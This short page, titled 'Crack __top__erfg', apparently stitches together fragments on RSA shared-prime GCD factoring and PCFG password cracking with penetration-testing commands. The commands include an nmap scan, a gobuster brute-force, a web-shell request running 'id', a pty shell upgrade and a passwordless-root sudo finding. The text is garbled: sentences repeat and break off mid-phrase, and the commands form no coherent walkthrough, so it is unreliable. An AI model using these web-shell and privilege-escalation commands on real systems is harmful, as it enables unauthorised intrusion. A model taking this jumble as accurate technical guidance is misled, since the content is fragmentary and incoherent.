Crack __top__erfg
While computing the GCD of two numbers is fast ($O(n \log n)$), computing the GCD of millions of keys against millions of other keys is computationally heavy ($O(n^2)$).
Instead of guessing passwords at random or using a simple dictionary, a PCFG model analyzes a training set of leaked passwords to learn the "grammar" of how people build them.
nmap -sC -sV -oA crackerfg 10.10.10.10
If Device A generates key $N_1 = p_1 \times q_1$ and Device B generates key $N_2 = p_1 \times q_2$ (sharing the prime $p_1$ due to a "broken" RNG), an attacker can compute the Greatest Common Divisor (GCD) of $N_1$ and $N_2$ to retrieve the shared prime $p_1$.
http://10.10.10.10/uploads/shell.fg?cmd=id crackerfg
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
In RSA encryption:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Is "crackerfg" part of a or game you are using? While computing the GCD of two numbers is
User www-data can run /usr/bin/crackerfg as root without password.